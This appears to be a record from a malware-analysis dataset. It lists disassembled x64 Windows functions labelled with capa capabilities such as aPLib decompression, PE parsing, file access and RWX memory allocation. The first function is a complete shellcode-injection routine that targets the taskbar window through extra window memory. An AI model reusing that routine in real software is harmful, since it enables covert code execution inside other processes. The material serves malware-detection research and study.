joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001008
Capabilities:
Allocate or change rwx memory
Find taskbar
Inject shellcode using extra window memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov ebx, edx
mov r12, rcx
xor edx, edx
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
lea rdx, [rbp + 0x40]
mov rsi, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.USER32.dll_GetWindowLongPtrA]
mov r14, rax
test rax, rax
jne 0x14000107d
lea rcx, str.GetWindowLongPtr_failed__n
call fcn.1400012f0
jmp 0x1400011cc
lea rax, [rbp + 0x48]
mov r9d, 8
lea r8, [rbp - 0x20]
mov qword [rsp + 0x20], rax
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rdx, qword [rbp - 0x20]
lea rax, [rbp + 0x48]
mov r9d, 0x18
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x18]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov r8, r12
mov r15, rax
mov rcx, rdi
lea rax, [rbp + 0x48]
mov rdx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r12d, 0x20
mov dword [rsp + 0x20], 4
mov r8d, r12d
mov r9d, 0x3000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, r12d
mov qword [rbp - 8], r15
mov rbx, rax
lea r8, [rbp - 0x20]
mov rdx, rbx
lea rcx, [rax + 8]
mov qword [rbp - 0x20], rcx
lea rax, [rbp + 0x48]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
test rax, rax
jne 0x140001177
lea rcx, str.SetWindowLongPtr_failed__n
call fcn.1400012f0
mov esi, 0x4000
jmp 0x1400011a8
xor r9d, r9d
xor r8d, r8d
mov rcx, rsi
lea edx, [r9 + 0x10]
call qword [sym.imp.USER32.dll_PostMessageA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, r14
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov esi, 0xc000
mov r9d, esi
xor r8d, r8d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, esi
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140001344
Capabilities:
Get file size
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov rsi, rdx
and dword [rax + 0x18], 0
mov edx, 0x80000000
mov dword [rax - 0x20], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rax - 0x28], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400013c3
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea ecx, [rax + 0x10]
call fcn.140004c60
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x60]
mov r8d, ebx
mov qword [rsi], rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret

Function at 0x140008b10
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140008900
Function at 0x14000e10c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000e13c
xor eax, eax
jmp 0x14000e1ff
mov rbp, rbx
cmp word [rax], si
je 0x14000e161
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000e148
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000e144
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000e05c
movsxd r14, eax
test eax, eax
jne 0x14000e19f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000e135
mov rcx, r14
call fcn.14000942c
mov rdi, rax
test rax, rax
jne 0x14000e1b8
xor ecx, ecx
call fcn.140009bfc
jmp 0x14000e194
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000e05c
test eax, eax
jne 0x14000e1e9
mov rcx, rdi
call fcn.140009bfc
jmp 0x14000e1f3
xor ecx, ecx
call fcn.140009bfc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400134bc
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140009a60
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140013546
cmp byte [rbp - 0x21], r15b
je 0x140013541
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001357c
call fcn.140009e50
test eax, eax
jne 0x140013568
cmp byte [rbp - 0x21], r15b
je 0x140013560
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001357c
cmp byte [rbp - 0x21], r15b
je 0x140013579
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000c860
test eax, eax
jne 0x14001361c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140009a60
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400135bb
cmp byte [rbp - 0x21], r15b
je 0x1400135f0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400135f0
call fcn.140009e50
test eax, eax
jne 0x1400135dc
cmp byte [rbp - 0x21], r15b
je 0x1400135d5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400135f0
cmp byte [rbp - 0x21], r15b
je 0x1400135ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000c860
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001361c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001361f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001362d
mov rcx, rdi
call fcn.140009bfc
cmp byte [rbp + 0x3f], r15b
je 0x14001363c
mov rcx, qword [rbp + 0x27]
call fcn.140009bfc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140614058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1406141df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140614089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14061406f
add dl, dl
jne 0x140614096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406140f6
xor eax, eax
add dl, dl
jne 0x1406140a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406141ad
add dl, dl
jne 0x1406140b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406140c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406140d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1406140dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1406140ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14061407e
mov eax, 1
add dl, dl
jne 0x140614106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140614113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406140fb
sub eax, ebx
mov ebx, 1
jne 0x14061414c
mov ecx, 1
add dl, dl
jne 0x14061412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14061413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140614123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140614168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140614175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14061415d
cmp eax, 0x7d00
jae 0x14061419b
cmp eax, 0x500
jb 0x140614196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061407e
cmp eax, 0x7f
ja 0x14061419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14061407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1406141d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14061407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140a8d058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140a8d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a8d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8d06f
add dl, dl
jne 0x140a8d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8d0f6
xor eax, eax
add dl, dl
jne 0x140a8d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a8d1ad
add dl, dl
jne 0x140a8d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a8d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a8d07e
mov eax, 1
add dl, dl
jne 0x140a8d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a8d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8d0fb
sub eax, ebx
mov ebx, 1
jne 0x140a8d14c
mov ecx, 1
add dl, dl
jne 0x140a8d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a8d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a8d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a8d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a8d15d
cmp eax, 0x7d00
jae 0x140a8d19b
cmp eax, 0x500
jb 0x140a8d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8d07e
cmp eax, 0x7f
ja 0x140a8d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a8d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a8d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a8d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
sub al, bh
adc al, 0xb2
invalid
Function at 0x141662ec8
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14166304f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141662ef9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141662edf
add dl, dl
jne 0x141662f06
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141662f66
xor eax, eax
add dl, dl
jne 0x141662f15
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14166301d
add dl, dl
jne 0x141662f26
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141662f33
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141662f40
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141662f4d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141662f5a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141662eee
mov eax, 1
add dl, dl
jne 0x141662f76
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141662f83
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141662f6b
sub eax, ebx
mov ebx, 1
jne 0x141662fbc
mov ecx, 1
add dl, dl
jne 0x141662f9e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141662fab
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141662f93
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141662eee
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141662fd8
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141662fe5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141662fcd
cmp eax, 0x7d00
jae 0x14166300b
cmp eax, 0x500
jb 0x141663006
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141662eee
cmp eax, 0x7f
ja 0x14166300e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141662eee
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141663042
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141662eee
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400029a0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400039d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400039d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002a10
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400080a4]
mov rbx, rcx
test esi, esi
jle 0x140002b40
mov rax, qword [0x1400080a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002a5b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002ae5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002a40
mov rcx, rbx
call fcn.140003460
mov rdi, rax
test rax, rax
je 0x140002b62
mov rax, qword [0x1400080a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400035a0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400080a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002b47
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002ade
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002af0
add dword [0x1400080a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400080a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400029a0
nop dword [rax]
xor esi, esi
jmp 0x140002a68
mov rax, qword [0x1400080a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400029a0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400029a0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400030d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140008100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400080e0]
test rbx, rbx
je 0x14000312c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140003123
test rsi, rsi
je 0x140003123
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003108
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140003460
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005a20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003480
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003488
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003480
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400034dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400034d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003480
add rax, 0x28
cmp rax, r9
jne 0x1400034c0
xor eax, eax
ret

Function at 0x1400034e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005a20]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400034ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003508
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400034ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400035a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005a20]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400035bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400035c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14001cd50
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140027380
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140027380
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x14001cdc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1402140b4]
mov rbx, rcx
test esi, esi
jle 0x14001cef0
mov rax, qword [0x1402140b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001ce0b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14001ce95
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14001cdf0
mov rcx, rbx
call fcn.14001d830
mov rdi, rax
test rax, rax
je 0x14001cf12
mov rax, qword [0x1402140b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14001d970
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1402140b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14001cef7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001ce8e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14001cea0
add dword [0x1402140b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1402140b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001ce8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14001cd50
nop dword [rax]
xor esi, esi
jmp 0x14001ce18
mov rax, qword [0x1402140b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14001cd50
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14001cd50
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14001d4a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140214120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140214100]
test rbx, rbx
je 0x14001d4fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14001d4f3
test eax, eax
jne 0x14001d4f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14001d4d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]